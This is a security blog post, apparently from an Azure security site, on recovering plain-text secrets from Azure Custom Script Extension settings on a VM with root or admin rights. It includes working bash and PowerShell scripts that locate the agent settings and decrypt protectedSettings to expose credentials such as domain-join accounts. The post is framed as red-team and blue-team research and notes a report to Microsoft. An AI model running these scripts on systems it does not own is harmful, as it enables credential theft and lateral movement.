Harvest credential from Custom Script Extension on Azure VM

Custom Script Extension is one of the most commonly used extensions for Azure virtual machine deployment. This extension allows you to execute a bootstrapping script during VM deployment to perform some additional tasks.  Those tasks may include Domain Controller on-boarding or security sensor/agent installation or 3rd software installation. While the extension is left used, there is still a question like “Can someone do something to see my sensitive configuration or secret such as AD domain join account I use in Custom Script Extension?

In this article, we are going to analyze how Custom Script Extension works generally and how to gather credentials and secrets if any from the extension.

Use case of Custom Script Extension

One of the most common use cases for Custom Script Extension is the AD Domain controller on-boarding virtual machine. A script that allows a virtual machine to join an existing domain controller. Another use case is performing post-configuration for a 3rd software that you have to do after the VM is created.

The code below gives you an example of executing a script named script.sh with two arguments: licenseKey and secretKey. The two parameters are referenced from two secrets in an Azure Key vault.

{
  "type": "Microsoft.Compute/virtualMachines/extensions",
  "condition": "[equals(parameters('osPlatform'),'RedHat')]",
  "apiVersion": "2021-03-01",
  "location": "[parameters('location')]",
  "name": "[concat(variables('vmName'),'/CSELinux')]",
  "dependsOn": [
    "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]"
  ],
  "properties": {
    "publisher": "Microsoft.Azure.Extensions",
    "type": "CustomScript",
    "typeHandlerVersion": "2.1",
    "autoUpgradeMinorVersion": true,
    "protectedSettings": {
      "fileUris": ["[variables('bootstrapScriptUrl')]"],
      "managedIdentity": {
        "objectId": "[reference(parameters('userManagedIdentityResourceId'),'2015-08-31-PREVIEW').principalId]"
      },
      "commandToExecute": "[concat('sh script.sh -l ', parameters('licenseKey'), ' -s ', '\"', parameters('secretKey'), '\"')]"
    }
  }
}

How Custom Script Extension works

Basically we all know that custom script extension allows you to execute a script stored in a storage account or a remote publicly accessible script. It also allows you to pass parameters in ARM template as arguments to use with the script. The parameters can be referenced from Key Vault secret as follows:

"secretKey": {
  "reference": {
    "keyVault": {
      "id": "/subscriptions/67d6179d-a99d-4ccd-8c56-4d3ff2e13349/resourceGroups/azsec-corporate-rg/providers/Microsoft.KeyVault/vaults/shared-corporate-kv"
    },
    "secretName": "secret01"
  }
},
"licenseKey": {
  "reference": {
    "keyVault": {
      "id": "/subscriptions/67d6179d-a99d-4ccd-8c56-4d3ff2e13349/resourceGroups/azsec-corporate-rg/providers/Microsoft.KeyVault/vaults/shared-corporate-kv"
    },
    "secretName": "licenseKey"
  }
}

When you deploy a custom script extension resource, an agent is provisioned on the target virtual machine. The value of commandToExecute is NOT passed in plain-text. Instead, it is encoded and stored in protectedSettings in agent configuration setting file.

If you can’t reverse Linux one you can find similar thing on Windows box.

For more information about this setting refer to the following article about Run Script.

What Blue Team needs to know about Run Script feature in Azure

The agent doesn’t care what you have in commandToExecute . What it does is to find a way to decode and execute the command. In the example, the command

sh script.sh -l 'AAA-BBB-CCC' -s ')]2y%E!%uTR8>6%e,'

is encoded. The way the agent does is pretty simple – it looks for a certificate whose thumbprint defined in the setting file and use a private key (default one that is deployed by the agent for VM) to decode the value in protectedSettings. The agent uses openssl smime (on Linux box) to do the job. It still requires root privilege. To demonstrate how you can decode commandToExecute I made a simple script below:

#!/bin/bash
# This script is used to support Red Team to perform a scan on Azure Virtual machine to harvest credential.
# Custom Script extension is often used on Linux VM for AD Join or security agent installation that may have secrets.
# Using this script you are able to decode encoded CommandToExcute object to extract plain-text secret.
# This script can be used to decode most Azure VM extensions except VM Access Extension.
# Author: https://azsec.azurewebsites.net/

agent_path='/var/lib/waagent'

f=$(find $agent_path -type d -name "*.CustomScript*")
if [ -z "$f" ];then
  echo "[!] Can't find target agent directory"
  exit 1
else
  echo "[-] Find the target dir: $f"
  cd "$f" || exit
  for setting_files in $(find "$f" -type f -name "*.settings"); do
    for setting_file in $setting_files; do
      if [ -z "$setting_file" ]; then
        echo "[!] Can't find setting file"
        exit 1
      else
        echo "[-] Find a setting file: $setting_file"
        cert_thumbprint=$(jq -r '.runtimeSettings[].handlerSettings.protectedSettingsCertThumbprint' "$setting_file")
        echo "[-] Start decoding"
        jq -r '.runtimeSettings[].handlerSettings.protectedSettings' "$setting_file" | base64 --decode | openssl smime -inform DER -decrypt -recip ../"${cert_thumbprint}".crt -inkey ../"${cert_thumbprint}".prv | jq .
      fi
    done
  done
fi

Now you can see that licenseKey and secretKey I referenced from Key Vault can be extracted as plain-text. The secrets no longer appear to be secrets.

With Windows VM, the agent uses EnvelopedCms class to encode. Use the following script to decode:

Add-Type -AssemblyName "System.Security"
$path = "C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\1.10.12\RuntimeSettings\0.settings"
$runSettingFiles = Get-ChildItem -Path $path -Recurse -Filter "*.settings"
foreach ($runSettingFile in $runSettingFiles) {
    $content = Get-Content -Path $runSettingFile.FullName | ConvertFrom-Json
    $certLocation = Set-Location -Path Cert:\LocalMachine\My
    $certs = Get-ChildItem -Path $certLocation | Where-Object {$_.Thumbprint -eq ($($content.runtimeSettings.handlerSettings.protectedSettingsCertThumbprint))}
    foreach ($cert in $certs) {
        Write-Host $cert.Thumbprint
        Write-Host -ForegroundColor Green "Found: " $cert.Subject "that has thumbprint: " $cert.thumbprint:
        $cipher = $content.runtimeSettings.handlerSettings.protectedSettings
        $encryptedBytes = [Convert]::FromBase64String($cipher)
        $env = New-Object Security.Cryptography.Pkcs.EnvelopedCms
        $env.Decode($encryptedBytes)
        $env.Decrypt()
        $clearText = [System.Text.Encoding]::UTF8.GetString($env.ContentInfo.Content)
        $clearText | Convertfrom-Json | Select-Object commandToExecute
    }
} 

You can see decoded cipher:

FAQ

What kind of privilege do I need to successfully decode?
Root privilege is required to gain access to agent configuration setting and and required certificates.

Does the agent write commandToExecute value in format of plain-text anywhere?
No it doesn’t. 

Where is agent configuration setting located on Windows?
C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\{version}\RuntimeSettings

Where is agent configuration setting located on Linux?
/var/lib/waagent/Microsoft.Azure.Extensions.CustomScript-{version}/config

How can I detect if someone has tried to access and done some dirty stuff?
Stay tuned for the next article about monitoring and detection.

Put your question in comment section I will add here later.

Why does this matter?

To successfully decode, you need root privilege. Root privilege can be gained when a virtual machine is compromised. Threat actor can escalate privilege then harvest if there is any credential used in Custom Script Extension. Some credentials are not valuable. Some are very valuable such as an account used to join to a Domain Controller. Such an account has Write permission which may allow the actor add something to the AD as well as to write something that may help him in gaining further access to different targets and finally laterally move to a real production environment.

In a large environment, developers are empowered to deploy Azure VM using an ARM template construct. That template may expose valuable credentials which developers can gain. As long as you have VM Contributor you can escalate yourself to be root admin.

The script above works with most Azure VM agent. You can try with OmsAgentForLinux and gain workspace key

Laterally move by abusing Log Analytics Agent and Automation Hybrid worker

Red team can try to gain AD Join account’s credential and see if the account can do more than just add a client to a domain controller. And Blue team can see if they can catch actor trying to harvest credential from Custom Script Extension.

On a side node, I reported this issue to Microsoft MSRC back in 2020 but they rejected because this technique requires root and admin privilege which didn’t meet the bar for servicing. There is still an opportunity for Azure VM agent team to mitigate by removing the setting after command execution.

You can try yourself using sample template here.

This entry was posted in Monitoring & Detection and tagged , . Bookmark the permalink.

1 Response to Harvest credential from Custom Script Extension on Azure VM

  1. Pingback: Laterally move by abusing Log Analytics Agent and Automation Hybrid worker -Microsoft Azure Security Randomness

Leave a Reply

Your email address will not be published. Required fields are marked *